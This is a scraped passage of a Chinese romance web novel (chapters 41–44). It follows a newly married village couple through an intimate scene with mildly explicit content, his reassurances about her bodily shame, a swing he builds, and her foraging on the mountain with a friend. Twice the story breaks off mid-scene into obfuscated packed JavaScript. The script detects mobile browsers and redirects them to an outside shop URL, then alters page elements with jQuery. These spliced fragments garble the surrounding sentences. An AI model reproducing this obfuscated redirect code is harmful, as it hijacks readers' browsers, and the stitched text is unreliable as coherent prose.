向园自那天起就学聪明了,她往床上铺了个小褥子,后来原耕耘又弄脏过两次。 之前都只是简单过了一遍水,今天要好好洗一洗,还有衣服,这几天换下来两身脏衣服,都堆在筐子里,也要洗一洗。 “好,咱们一起洗。”原耕耘轻轻拍她的背,哄她睡觉。 向园想起一件事儿,就能想起很多事儿,算算,还有很多要忙的。 她掰着指头跟原耕耘讲,“洗完衣裳,顺便割一把草拌食儿。我们还可以在水塘里捞蝌蚪,小鸭小鹅吃这个长得可快了。” 原耕耘:“……你知道蝌蚪是什么吗?” 向园:“我知道啊,它们长大了会变成青蛙和□□。” “你不害怕?” 向园抖抖,可能还是有一点怕的。可她想起自己看见黑东西的怂样儿,此刻努力找补着。 “我只是小时候有一点点怕,长大了可就不怕了,我还敢剁一整只□□喂鹅呢。” 其实还是不太敢的,她只看外婆剁过,她自己,更愿意摸螺蛳和河蚌砸碎了喂鸭喂鹅。 原耕耘很怀疑她的一点点是几点点。 他问:“真的只有一点点?” 向园:“……对,就一丁点,好多小孩儿都怕这个,晚上不敢往河边走,我看到它们都不怕的。” 所以当年眼泪都喂大黑了? 原耕耘又想按着她狠狠亲。 “嗯,向园,你真勇敢。” 所以别睡了,晚上再睡吧。 41. 第 41 章 歇晌没歇成,向园觉得原耕耘又来吸她的精气神儿了。 她保住自己最后两件衣裳,求他,“别这样啦,不是要架秋千吗?我还想坐秋千呢!” 原耕耘目光深沉,“疼?” 也不是疼,但是已经到了影响她荡秋千的程度,要是再继续,她肯定不好意思往秋千上坐了。 向园扭扭捏捏,红着脸不肯说话。 笑意从原耕耘瞳孔流出,他扬起嘴角,问她,“那就是舒服了?” 声音很低很暧昧,像调戏。 奈何向园根本没察觉,她坚决摇头,十分不解风情。 那一星半点的舒服根本无法抵消这种事情给她带来的奇特感觉,她要是说舒服,耕耘哥哥肯定更来劲了。 可眼底的一丝犹豫还是被原耕耘察觉,他闷笑,“那就是我不好,到现在也没让你知道,欢愉是什么滋味儿。” 他说完,大掌掐着她的腰肢揉了揉。 这一揉可不简单,向园一阵迷瞪,脑海里只闪过一个念头,一定是他的拇指按到了自己哪个穴位,不然不可能这样奇怪。 熟悉又陌生的热潮一阵一阵涌出,往上涌也往下涌,四肢百骸哪儿哪儿都舒服,哪儿哪儿也都不舒服。 她脸颊滚烫,眼皮也滚烫,视线都模糊起来,眼前一圈圈光晕像涟漪散开。 “向园?”原耕耘感觉到,大掌捧在她耳后,带着薄茧的拇指,自上而下,轻轻摩挲她的眼睑、脸庞、嘴角和湿红潮热的颈项。 “向园!”他凑近,气息危险,露出蛊惑的意味,“是不是想要?” 暗哑的嗓音,如蝴蝶振翅欲飞,却被蛛网上的露珠粘住,轻得要命,也沉得要命,生怕一不小心就惊落了这挂在梢头马上就要熟透的果实。 现在的她的确像一颗果实,珍贵、明媚、娇艳欲滴,不知哪一瞬就要从枝头坠落。 想要采折,得高高托举双手,严丝合缝捧着,小心翼翼接着,才能拢得住她,又不伤着她。 不知她是不是没有听到,回答他的只有湿热的呼吸,细碎的、急促的、难耐的。 扶在腰间的那只手一路向下,寻到小痣的位置,抚摸勾缠,指尖不知碰到哪里,带得向园全身一颤,头一次伸腿踢了他。 她醒了!从引诱蛊惑她的馥郁美梦中,从缠绕包裹她的温暖潮水中。 “小骗子!” 原耕耘感觉到来自她的热潮,心中想继续的,但当初给的承诺让他克制。 她表达了自己的意志,他就要遵循她表达的意志。 他起身,投了湿棉巾仔细给她擦身,给她穿衣服。 整个下午,向园都很颓废,她第一次知道,自己也会弄脏小褥子。 她以前来月事都不会弄脏的。 原耕耘喊她荡秋千,她都没有兴致。 原耕耘来拉她,她就幽怨地控诉地看他一眼,又低下头去。 “向园,”原耕耘蹲下,表情很严肃,“你那样对我的时候,我有生气吗?” “我没生气,”向园偷瞧他一眼,扁住嘴巴,“而且那时候,是你拉着我的手弄的。” 原耕耘掰正她的脑袋,“是啊,我拉着你弄的,可即便我弄脏了,也没有垂头丧气吧,也没有自责羞愧吧。我把你也弄脏了,你怪我吗?怨我吗?” 话是这么说,但他不自责羞愧那是他、是他……脸皮厚。自己不怨他、不怪他,那是自己善良宽厚。 向园心里还是别扭。 原耕耘拿走她手里的针线,把她抱在怀里,“向园,负面表达可以用在身体不舒服或者心情不舒服的时候,这能让你身边的人及时察觉,给你关心和照顾。 “可如果身体告诉你这种感觉是愉悦,你就不要因为它和周围的习惯相悖或者和他人的引导不同而感到羞愧、羞耻或者羞赧。 “这世上,如果你一定要遵循什么的话,那一定是你的意志,你的直觉,这是发自本身、源于本心、最直接、也最能保护你的,你要相信自己的感受,不要陷入书籍或者族群套给你的道德枷锁。 “你看,我们不过是对彼此做了同样的事情,发生了同样的反应,只因为我是男人,我是丈夫,我就可以理所当然甚至与有荣焉地告诉你,我很舒服,我很高兴,我很喜欢。因为我希望,你下次还能这样对我。 “可你又有哪里跟我不一样呢,男人和女人都是人,只因为你是女人,就不能光明正大地表达欲.望、表达快乐、表达身体的愉悦?连对丈夫也不能说?不能告诉我,你的感觉、你的感受? “那我又怎么能知道,你是喜欢我的,是爱我的,是愿意接纳我的?又如何取悦你,让你快乐,让你欢喜? “向园,夫妻之间,这些都是最寻常不过的事,就像人要吃喝拉撒一样寻常。太宏大太渺远的事情我不敢保证,但我想,至少在我面前,至少有我陪着你的这些岁月里,你是可以完全绽放自己的,不管是好的还是坏的,是善良的还是凶恶的,是规矩的还是荒唐的,你想怎么样就可以怎么样。 “向园,你可以完全地、真切地表达自己。哪怕你说,你要征服原耕耘,要俘获原耕耘的心脏,要原耕耘做你的狗,我也会心甘情愿地对你臣服,汪汪叫取悦你。因为源于心底的爱,不只是完全占有对方,还要完全属于对方。” “耕耘哥哥,你不要说!”向园把脸埋到原耕耘肩上,声音软塌塌的,没一点精神,“我们不要那样说了。我不要你做狗,不要你臣服,也不要你的心脏,你是我的丈夫!” “嗯。”原耕耘拍她单薄的脊梁,“你不要我说,我就不说。你不要原耕耘做你的狗,我就做你的男人,做你的丈夫。” “耕耘哥哥,你是我的。”向园声音闷闷的。 “嗯,我是你的。” “我也是你的。” “嗯,你也是我的。” “我没有不舒服,那样有点舒服。”向园湿热的呼吸洒在原耕耘脖颈,咫尺之距。 原耕耘拉开一点距离,“只是有点?” 向园瞥他一眼,摇头,“不只一点。” “可是那样、太、太像尿床了。”她又把脸埋进去,几乎要羞哭。 和原耕耘裸.裎相对时,她没有羞,帮原耕耘快活的时候,她也没有羞,被原耕耘弄了一身脏东西的时候,她还是没有羞,可是当自己的身体有了一点点反应,被他看到时,她却羞哭了。 这就是世道对女子的拘束,不只来自男人,也来自女人。 “那我也尿床了,还比你尿床的次数多,那我是不是也要哭?”原耕耘不强迫她抬头,只在她耳朵边,轻轻地问。 向园觉得奇怪,她嘟囔,“你又不觉得羞!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16398556|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羞了才要哭,他根本不知羞。 “我为什么要羞?” “都尿床了还不羞,那就是不知羞,更该羞了。” 原耕耘:“那你怎么不羞我?” 为什么呢,大概她觉得那不像是尿床。 医书上说,男子成年出.精,这应当是正常的吧?可是没有医书说,女子也会这样。 “我的不像,你的岂不是更不像?”向园闷了满头汗,原耕耘拿起扇子给她扇风。 “向园,我并不是不会为尿床感到羞愧的。 “我两三岁的时候,也尿床的,那时娘要给我晾被褥,我爹看见就会笑话我。我刚开始也觉得羞,后来我问我爹,我说你小时候不尿床吗?既然大家都尿床,你为什么要笑我,就因为你是我爹,我是你儿子?后来他就再也不敢笑我了。” 耕耘哥哥两三岁就这么厉害吗?向园很惊奇,她偏了偏头,偷偷瞅他。 原耕耘恍若未觉,继续讲下去,“你不是让我给你讲小时候的事吗?那我现在跟你讲第一件,你可能不记得了。” 他要说这个,向园坐直身体,支着耳朵认真听。 可原耕耘的下一句话就让她傻眼了。 他说:“你小时候也会尿床的。” 向园:“……你胡说,你根本不知道我小时候的事儿,你瞎编的。” 她脸都气红了,挣扎着要起来,被原耕耘按住,禁锢在怀里,“向园,听我说完。” “小孩子都会尿床的,你当然也会,这并不是什么值得羞耻的事,也从来没有人因为这个笑你。岳父岳母不会笑你,我也不会笑你,我爹被我质问之后,轻易不敢嘲笑人了,他和我娘也不会笑你,所以,哪怕你尿床到五岁,没人笑你,你也从来没有为此羞赧过,因为每个人都告诉你,这是小孩子的天性,这不值得羞愧,不值得你为此消耗心情。” 向园不记得了,她爹她娘的确从来都不会笑她,哪怕她做错事,他们也只是温柔的教导她,不会骂她、不会笑她、更不会打她罚她。 他们的每个笑,好像都只是因为开心。 她慢慢安静下来。 原耕耘轻拍她的后背,“你看,你小时候都不曾因为这些源于天性的反应羞愧过,怎么现在却要为这些同样源于天性,而且跟尿床全然无关的反应而感到羞耻呢?” “这也不过是每个人都会有的反应罢了,不过因为是夫妻间的事,所以都不会跟外人说,其实他们自己也是这样的。”他道。 向园还是很怀疑,“真、真的不是尿床?” “不是。”原耕耘肯定地告诉她,“你自己也能感受到的,是不一样的,对不对?” 向园点头,“那,那我也不羞了,你,你不许笑话我。” 原耕耘失笑,“向园,你不懂男人。你那样,我只会觉得是你喜欢我喜欢到情难自禁,高兴都来不及,怎么会笑话你?再说,你自己算算,是你笑话我多,还是我笑话你多?” “我没笑话过你!”向园争辩,她一点都不爱嘲笑人的。 “那天是谁问我羞不羞,要不要吹灭灯烛的?” 向园:“……” 向园不占理,“我那不是笑话你,我是关心你,我怕你羞。” 原耕耘:“……那谢谢你?” 向园终于笑了,“不客气。” 42. 第 42 章 有了这一番闹剧,两人也不去河边洗衣裳了。 原耕耘绑的秋千很舒服,吊在大梨树的一根粗树干上,高低合适,坐板宽大如小榻,几乎能装得下蜷缩躺着的向园。 原耕耘觉得荡秋千好玩是好玩,也累得慌,飞得高了还要担心会掉下来。 他特意找的这个板子,两头翘起,一侧还有靠背,像一只小船。绑在梨树下,有凉阴,向园就是不想坐着,躺在上头歇个午觉也没问题。 系木板之前,原耕耘找了几件旧棉衣,铺得平展均匀,垫在上头,这样坐上去就软和许多。 他推向园试了试,秋千高高荡起,梨花簌簌落下,向园高兴地笑出声,原耕耘知道她喜欢。 向园喜欢,也还记得正事,玩了一会儿道:“耕耘哥哥,你弄吧,我去洗衣裳。” 明天她要一起跟去山中小屋。 他们去打猎,她要把山腰处的山芝麻叶捋了,过这么些天,第二茬嫩叶应该都长出来了。 不知道杨可真有没有空,有空的话可以喊上她一起。 原耕耘拉住她,“我没别的事要做了,我来洗。你不是包了许多碎布,找些软和的,把麻绳这个位置缠两圈,以后你握秋千绳就不磨手了。” 向园现在也不觉得磨手,不过要是缠个布、绑个花,肯定会更好看。 “不要你洗,你不忙了就休息吧,时间还早,我绑完绳子再洗也不迟。” 向园说完,摆摆手,忙不迭进屋找布头去了。 原耕耘跟过去拿脏衣服,“说什么不要我洗,难道里头没有我的衣服?只许你给我洗,不许我给你洗?” 向园扒拉着布头,都没忍住抬头看他一眼,“耕耘哥哥,你虽然是在帮忙,但语气实在欠揍。” 原耕耘就伸出手心,递到她跟前,“给你揍?你舍得?” 向园舍不得,“有打你的工夫,还不如让你多洗两件。” 她找好了布,原耕耘也搜罗好脏衣服,两人一起往后院去。 原本是想着衣服多,要去山溪旁边洗的,现在向园绑绳子,原耕耘也不想一个人出去了,直接在井边洗。 他也不是受虐狂,这些年虽然都是自己洗衣服,但用多少心思在上头,也只有他自己知道。可现在洗两个人的衣裳,洗着洗着他还洗出趣味来了。 向园真是把自己种到他心尖上了,他一个不爱洗衣服的人,给她洗起衣服来,不仅心甘情愿,还心满意足。 两个人的衣服在一个盆里,他搓洗着,心里更是满满当当的,有种说不出的甜蜜。 原耕耘想,如果有一天,向园真要他当狗,他恐怕也说不出来半个不字,估计还要上赶着摇尾巴,汪汪叫给她听。 向园不知道原耕耘还在想当狗的事,她绑好了花绳,过来喊他。 “耕耘哥哥,你来看!” 没给原耕耘拒绝的机会,向园捞起水瓢帮他冲掉手上的泡沫,拉着他去看秋千。 原耕耘也没想拒绝就是。 原本光秃秃的黄麻绳上,现在各缠了一圈花布。 “耕耘哥哥,看,你喜欢的蓝色和绿色,蓝色上头是我喜欢的雪青色绣球花,绿色上头是我喜欢的黄木香,是不是很好看?”向园看着很满意。 “嗯。”原耕耘点头,“瞧着是热闹多了。” 四条绳交叉对称,除了绕了花布外,中间部位还交错坠着几朵小花,看着挺俏皮的。 但原耕耘觉得,有必要把草堂这一楹围个围墙,等闲他不想让人发现自家娘子这样童心未泯,爱娇爱俏。 “现在要坐吗?我推你。” 不能让别人发现,是因为他想藏着自己看。 向园摇头,反转到原耕耘身后,推他坐上去,“耕耘哥哥,你试下,我想看你坐。” 看耕耘哥哥荡秋千是什么样子,她就知道自己会是什么样子了。 原耕耘:“……” 他坐下了,向园也没看到,因为他把她也拉上去了。 “坐好了,我准备抬脚了啊!” 秋千并不完全需要人推,可以用脚尖支撑,绷直腿往后撤,然后猛地离地,也能飞出挺远。 “嗯。飞吧。” 向园蜷起腿,一应声,原耕耘马上松开脚尖,两人往前荡去。亏得这树干够粗,禁得住两人的重量。 晃了一阵,秋千才缓缓停下,原耕耘又踩地,止住秋千摇摆的势头。 “好玩吗?” 向园点头。 原耕耘给她脱了鞋,把她双脚也放上去,“你扶好,我推你,你躺着休息会儿,我洗完衣服叫你。” “嗯。”向园蜷缩着躺下,小小的船刚好装下她,她闭上眼睛,握着拦板,顺着原耕耘推出的力道摇荡起来。 “耕耘哥哥,你真好!”她睁开一只眼睛,果然看到原耕耘还站在一边,含笑低头看她。 他轻轻吻她一下,又一次推开秋千,看她自由肆意的摇曳起来,才转身去洗衣服。 向园浅浅地睡了一觉,梦见自己置身于一片雪青色绣球花丛中,远处是弥望的木香,成片成片,蔓延到看不见的远方。 “耕耘哥哥?耕耘哥哥!” “在这儿。” 声音响在耳畔,向园安心闭上眼睛。 再醒来,已是暮色四合。 睁开眼,梦里的耕耘哥哥就在她身边。 “醒了?”她听到他低沉暗哑的嗓音。 “嗯,耕耘哥哥,我梦到你了。”向园起身。 “梦到我什么了?”原耕耘拉她坐直,蹲下去给她穿鞋。 “梦见我找你,你说‘在这儿’。”向园低头看他的脑袋,她摸摸他的发包,耕耘哥哥的头发真多真黑真浓密。 “然后呢?”穿好了鞋,原耕耘仰头看她。 “然后我就睡着了。”向园理所当然道。 原耕耘捏捏她的脸,气也不是,笑也不是,“下次梦久一点。” “好啊,下次你在我梦里多呆一会儿嘛。”向园抱住他的胳膊。 . 猎物繁衍生长的季节,是不能大规模捕猎的。 这也是上次原耕耘他们四个上山分开走的原因。 春天,他们通常一旬才往山上去一趟,更多是为了探查,了解今年猎物的分布范围较之往年有没有大的变动,一些凶猛野兽都在哪片区域活动,这算是为秋冬季节狩猎做准备。 这时即便狩猎,他们也不能用陷阱、绳套、罗网等工具,毒.药和麻.药更不能用,这些东西很容易误伤怀孕的母兽和没有自我保护能力的幼兽。 随身携带的弓箭、长矛和短刀,也主要做防身之用。 像原耕耘上次抓的野山羊,就是他徒手抓的,如果抓到后发现野山羊有孕或者在哺乳小羊羔,他还要把猎物放了。 等到夏天,野兽幼崽基本都长大了,他们只要避开未长成的幼兽和晚孕的母兽即可,那时就可以用弓箭、钢叉等攻击性猎具了。 不过夏季多雨,能不能上山,还要看老天爷的脸。 尤其四五月份,梅雨连绵,若是下个十天半个月不晴,山路险滑,轻易是不能往山上去的。 今天原耕耘依旧不打算往深山走,也不在山上过夜,所以向园想一起,原耕耘没有思索就同意了。 他不等周家兄弟和黄穗安来找他,他带着向园去村里找人。 向园还带了几根莲藕,是原耕耘洗完衣裳去挖的,昨天晚上他们就吃过一餐了。 去冬就长成的莲藕,都不用太复杂的做法,直接切成细丝,拍两颗大葱掺着炒一炒,就很好吃了。 向园想着既然要过去,顺便给杨可真送一些。 距离约定的时间还早,两人现在出发往村里走,不会和周二仓他们岔开。 直接去的周家,周家兄弟俩刚吃过饭。 周满仓看见向园也在,嘿嘿一笑,“九哥,你这是不放心嫂子一个人在家,要把她寄给我二嫂照顾?” 原耕耘踹他一脚,“我娘子脑子灵光,我放心得很。我们这是不放心你,怕你路上掉沟里了,特意来接你的。” “唉,我咋就能掉沟里!”周满仓觉得这好像是说他脑子不灵光。 周二仓照弟弟脑袋拍一巴掌,“笨!啥时候把你寄出去你就不瞎胡说了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16413465|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周满仓摸摸头,嘀咕道:“笨,笨你还拍,就是叫你拍笨的!” 原耕耘:“……” 看着确实不灵光。 向园已经把莲藕递给杨可真,站在灶房窗户口跟她说起话来了,“姐姐,山芝麻叶好吃不?” “好吃!我跟你说,我就没吃过那样好吃的包子,也太香了。”杨可真现在想起来还在回味,“一点肉没加,我还想着光拌菜馅儿也不知道能不能调出来那个味儿,没想到,素的也这么香。” 周婶子也笑道:“是香,我看着跟芝麻叶像,但吃着又不大一样,芝麻叶也好吃,这个比芝麻叶还要香一点。” 向园呵呵笑,“包包子到底麻烦,想简单点,把那菜切碎了炒或者凉拌,咱们家常吃的窝窝头,往窝窝里舀一勺,吃着又方便又好吃。” 香椿酱他们就是这么吃的,原耕耘可爱吃了,几口就能吃掉一个窝窝头,一顿能吃掉一小笸箩。 “这是个好门儿,回头咱就试试。”周婶子道。 干菜晒干会缩水,但是泡水又很能泡出来数。 那一篓子,她们包了一顿包子,觉得好吃,第二天又用细面包了一顿。这也只用了两成,剩下的做菜吃,还能吃几顿,配窝窝头吃,就不心疼细白面了。 几人聊了几句家常,向园问杨可真,“姐,你忙不,我今天还要去打山芝麻叶,你要不要一起啊?” “要去要去!”杨可真原来根本不知道有这东西,今天跟着向园认认,以后就又多一样好菜了。 周婶子也欢喜,都不要儿媳妇儿洗碗了,催她去换个衣裳,“麻溜儿收拾收拾,你们上山去。” “诶!”婆婆发话了,杨可真也不扭捏,朝向园眨眨眼,回屋换衣裳去了。 山上树枝草丛多,不是带刺就是带毛,穿的衣裳不对,很容易就被挂破,要不就粘一身的刺刺儿毛毛,洗都洗不下来。 所以,经常上山的人,都要备着一身结实的粗布衣裳,平时也能穿,上山的时候必定要换上。 像原耕耘他们这种经常在山上奔走的,更要多备两身,配宽腰带和绑腿。 宽腰带方便插短刀、火镰、哨笛之类的工具。绑腿防蛇虫。 向园收拾过一遍原耕耘的衣裳,发现料子大都是葛布、蕉布和麻布,棉布都少。 有几套,手肘,膝盖这些地方都打着补丁,但是补丁过于对称整齐,向园觉得奇怪,把衣裳翻过来看,才知道那不是补丁,而是多缝了一层,因为这些地方磨得快,外头加这一层还都是桐油泡过的,一来不透水,二来耐磨耐造。 向园这几天也都琢磨着,找几块合用的料子,给他缝个护腕和手套。 几人收拾好,周婶子送他们出门的时候对向园道:“园丫头,回来再拐这儿一趟,我冬天囤的白菜萝卜存得好,下晌再摘些别的菜,你们拿回去吃啊。我才听二仓说,你们菜园里都没种什么菜,都是家常吃的,怎么离得了,没有就往这儿来摘。” 向园爽快应下,先谢上次的菜苗菜种:“本来想着问问姐姐谁家有多的,我们少买两株种,夏天有菜吃也就行了。我刚开口问,姐姐就说不用去别家问了,要是您没有育出来的菜苗,别处肯定也没有。周三哥送来的时候,我都吃惊,您和嫂子张罗着送来那么多,我们这一整年都不缺菜吃了。” 又夸她:“婶子真是厉害,能种出来那么多种菜,我看集市上都未必有您菜园子里那样齐全。我真是太佩服了,我可要好好向您学习!” 周婶子被她逗得哈哈笑,“我别的不行,种菜还是种出点门道来的,哪里不懂,你只管来找我,我教你。你也是,不过一星半点的东西,还说什么买不买的,村里问一圈,不管谁家有,匀匀也就匀出来了,你来我往的,才能越走越亲不是。” 这是教她趁着成亲这个契机跟村里打好关系。 向园听明白了,连连点头,“婶子,我们虽住得远,心却不能远,以后村里有什么事儿,就劳您和姐姐去喊我一声,我跟你们一道。” “哎!”周婶子看她一点就通,暗自点头,琢磨着以后有什么老姐妹小媳妇儿一块摘果子采茶叶的活动都叫上她。 43. 第 43 章 春季的山林一日一变,隔一天走,跟之前就是不同的感觉。 向园觉得这草好似更密了,树都比之前高了一截儿,叶子也都新绿新绿的,大日头照着,格外亮眼。 “这半个月都没下雨,要是下雨,长得更快。”原耕耘挑开一段横斜的树枝,让向园先过。 向园过去,他也没松手,递给后头的周满仓让他继续挑着。后头他哥他嫂子和黄穗安也得经过呢。 成了夫妻,原耕耘就不再避忌,进了山,稍微难走一点的路,他都要拉着向园走。 不用扯腰带,不用托胳膊肘,直接拉手,牵手腕,遇到深沟险壑、泥坑水洼,还会拦腰带着她过去。 不好走的地方向园基本脚不沾地,到小院时,别人鞋都脏了,她的还干净着。 杨可真的鞋也干净着。 原耕耘和向园在前头走,周满仓看见他们做什么都喜欢一惊一乍,不好大声嚷嚷,就挤眉弄眼让周二仓他们看。 周二仓一瞧,跟着有样学样。 都是大红花轿抬进门的媳妇儿,原耕耘都敢牵敢搂,他有什么不敢的。不好走的路,他也要拉着媳妇儿走。 黄穗安跟在最后,连吃两批狗粮,都觉得有些撑了。 看到这样的景象,他还很后悔:当初跟九郎打猎,应该拉着他大哥一起来的。 大哥比他强,比他聪明,也比他会想,如果他来,或许能带着他们家也变得不同。 九郎都能带他,想必更不会拒绝大哥了。 不知九郎今年还愿不愿意再找人。 再次上山,向园特地换了一双趁脚的鞋,走起路来格外轻快。 其他几人不用说,也都是麻利的,没花多长时间,大家就到了小院。 原耕耘四人今天要去屏山第三峰,走之前他细细嘱托向园:“你们上去看看,等日头升上去了就下山来,晌午煮点饭吃,弄不完也不要紧,我们不会回来得太晚,回来了我们再去摘,很快的。” 他见向园点头,才往出走,走了两步又回过头来,“屋里有麻绳,你和嫂子都带一段拴腰上,在哪棵树上采,就把麻绳系那棵树上,一定小心脚下,别踩空了。” “嗯嗯!”向园连声应下,摆手送他们出门。 周二仓憋笑憋了一路,他就是跟媳妇儿热络,也不会这样事无巨细地照顾。这九郎成了婚,看着是真不一样了。 向园一点也不觉得原耕耘交代得细致有什么问题,他说要找绳,她就真去找了,找好了分给杨可真一条,两人一起往半山腰去。 今天二黄跟着她们。 “姐姐,就在那儿,你闻见香味了吗?”向园指着给杨可真看。 “闻见了,这鲜的比干的还香啊!”杨可真深吸一口气,摘了一片揉搓揉搓,那香味更浓了。 “你要不说,我还真想不到这是长在树上的。你头一回说山芝麻,我还想山芝麻叶子长得跟夹竹桃叶子似的,闻着也不香,真能吃?后来满仓带回去,才知道不是田间地头长的那个野芝麻。” 向园把绳子往树上系,一边系,一边道:“咱们这边不知道这个能吃,我知道还是以前邻居家一个阿婆讲的。” “那阿婆怎么知道的?”杨可真好奇地看过来,见她动作,又笑起来,“你还真系啊。” 向园点头,“当然要系,这山路石头多,有的还长了苔藓,稍不注意就滑空了,你也系上吧。” 杨可真刚还笑人,往前再走一步,就不小心滑了一下,她也不敢笑了,把绳头牢牢系在树上,“快讲讲,快讲讲,那阿婆怎么知道的。” 村里不比市井之间,市井之人因为吃喝拉撒都要钱,就把钱看得真,有点什么好的,恨不得自己吞完,不让人看见一点影儿。 村里人就不同,尤其靠近大山的地方,都是荒山野水的,没个人结伴走着还会害怕,所以谁发现什么好的稀奇的东西都要喊着大家伙一起。 一代一代都是这样下来的,有个什么野菜野果的,要认识大家都认识,不认识大家都不认识,就没有说哪种这家知道能吃那家不知道的。 这村里等闲又不会有外乡人来,所以到了现在,哪怕附近的山都蹚熟了,河也都摸清楚了,能吃的能用的东西还是那些。 这寻着一样好东西,可不就就让人激动又好奇嘛。 向园绑好了绳子,说话也不耽误折嫩叶。 “阿婆老家在北边一点,说他们小时候闹灾荒,没粮食吃,饿得很了就满大山找吃的,这山芝麻叶是他们找着的最好吃的一种。多少年了,她就念着这个味儿。” “要我我也念着,真是不容易。”杨可真感叹道。 都不用向园细说,她都能猜到这阿婆的不易。 几十年前,她们还没出生的时候,听说北边是有过战乱和饥荒的,可能就是阿婆年轻时候的事。 “可不就是!”向园点头。 “可惜她腿脚不好,等闲不能往山上去,就是想找也找不着。还怕咱们这儿没有,她上山也是空跑。 “后来她知道我常上山采药,就跟我说那树长什么样,那叶子长什么样。我记在心里,回回上山都留意着,竟然也找到一片。有两株小的,我还移栽到家门口了,阿婆家门口一株,我外婆家门口一株。 “刚开始我很上心,想着这么好吃的东西可得好好照顾着,让它长得越茂盛越好。阿婆还笑我,说我比她这个念家的人还经心。 “我养着养着才发现,这东西好活得很,种在那儿,不用怎么照料,它自己就分出芽来了,跟竹子似的。现在我外婆家门口已经长一小片了。” “真是奇遇,你看这事儿,要是加套词儿,写进戏文里,多有意思啊。”杨可真笑道,“多亏了你,让那阿婆又尝到这滋味儿。” 向园想想也是,阿婆比外婆去得还早,她不知道她还有没有别的心愿未了,但最后一餐饭,和外婆一样,阿婆吃到了想吃的。 原耕耘说的等他们回来再来捋的事情根本不存在,向园和杨可真都很能干,她们不紧不慢的,也赶在晌午之前把一片山芝麻叶都捋干净了。 就这,还是她们来回搬运,把大部分时间都耽 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“咱们简单煮个粥吃吧。”向园看了一遍道。 客随主人便,杨可真自然没有意见。 煮粥的话都不用大铁锅,直接用砂锅,在炉子上煮。 向园洗了米,添了水,坐到炉子上。 山溪边的乱石缝隙中长了几丛小葱,她刚刚看到顺手就掐了,这会儿正好加些油和细盐腌上。 向园又提议把山芝麻叶焯水,焯过水,就没那么多了,晚间也容易带回去晾晒。不然,这样多背筐,即便他们人多,也难一下子全带走。 杨可真不大好意思,但想想她说的有道理,就还是应下,爽快道:“回头让二仓满仓给你捡柴火。” 村里就是这样,受了人情就要及时回报,有来有往才能走得长久。像向园这话,她大可不说,杨可真也不会觉得不对,可她提了,杨可真心里就更加熨帖。 早上才答应周婶子晚上去拿菜的向园:“……” 这来往得有点快,她都要记不住了。 两人趁着粥还在煮,赶紧忙活起来。 过一遍滚水,再过一遍凉水,再拧干团成球,全部弄完,已经是一个时辰后,两人这才有空喝粥。 咸粥比清粥有滋味,没有麻油,向园腌小葱的时候点的清油,但是加了芳香味浓的山芝麻叶,喝起来就别有一番风味。 粥煮得稠,又香又黏,两人吃了一碗都觉得意犹未尽,又添了半碗才饱足。 锅里还有不少,向园多给二黄舀了一碗,剩下的就盖在锅里。原耕耘他们上山打猎,晌午顶多吃点干粮对付过去,粥盖在锅里,等他们下山来,随便添把火热一热,也能垫垫肚子。 忙完这些,杨可真和向园就没事情做了,两人又琢磨着要上山去。 “咱们在附近找找有没有月眠藤,这时候估计有絮荚脱落了,要是能找到就多存一点,就够这一年用的了。”杨可真道。 44. 第 44 章 月眠藤向园知道,是一种结絮状花穗的藤状植株,跟紫藤有点像,会顺着岩壁或大树攀援。 这种植株比较奇特,春天长出长豆荚一样的果实,太阳出来,豆荚炸开,露出棉絮一般的淡蓝色花穗,到晚上,月亮升起,豆荚又收拢,把花穗完全包裹住。 它的花穗最开始只是细细一条,像花蕊一般。见了日头,见了露水,花穗就会膨大,每天胀开一点,直到花穗漫出来,豆荚包裹不住无法合拢的时候,淡蓝色花絮连带豆荚就从藤上脱落。 这花絮轻盈柔软,摸着跟棉花很像,但不似棉花桃那样紧实,这个花絮比较蓬松。 听外婆说,以前没有棉花的时候,大家都用月眠花絮填充枕褥。不过絮荚不易得,还不好收拾,想要收集够做一条棉被用的花絮,恐怕要攒很久才能攒够。 现在有棉花,但凡能种棉花、买棉花的人家,很少再出来寻絮荚了。但小媳妇和小娘子依旧稀罕找这个。 棉花贵,很多人家不舍得花钱买棉花做月事带,絮荚就成了很好的替代品。尤其对于女子来说,絮荚容易得到,攒够数量做一条棉被不容易,做十几二十条小垫子就不难了。 向园来天癸不过三年,她也爱捡絮荚,不过不为做月事带用,外婆一般都让她用棉花。 絮荚更柔软一些,但是花絮比较蓬松,怎么处理都还是鼓鼓的,不像棉花能弹成厚薄适中的棉胎,做月事带更加轻薄好用。 她捡絮荚,是因为喜欢用这个填充的枕头。 淡蓝色的柔软花絮,晒干后用棒槌捶一遍,把里头的籽仁筛掉,过一遍水漂走脏东西,再晒,就能得到柔软蓬松颜色还漂亮的纯净花絮了。 找一块透薄的夏布,缝成枕头样式,填充花絮,封口。枕上去,似乎还能嗅到鲜月眠花的味道,连美梦都被淡淡的蓝色和清浅的香气包裹。 月眠藤喜光、喜湿、耐阴、耐寒,通常生长在向阳背风、有水源的地方,向园和杨可真根据以往经验推测出可能有的方位,顺着山溪,往东南坡走。 向园记得原耕耘说过的安全范围,她想,要是安全范围内找不到,她们就折返回来。 不过她俩运气很好,虽然走得比较远,但是在一片河滩地上发现了一大片,月眠藤挂满了一整片石壁。这里距离原耕耘说的安全边界也不远了。 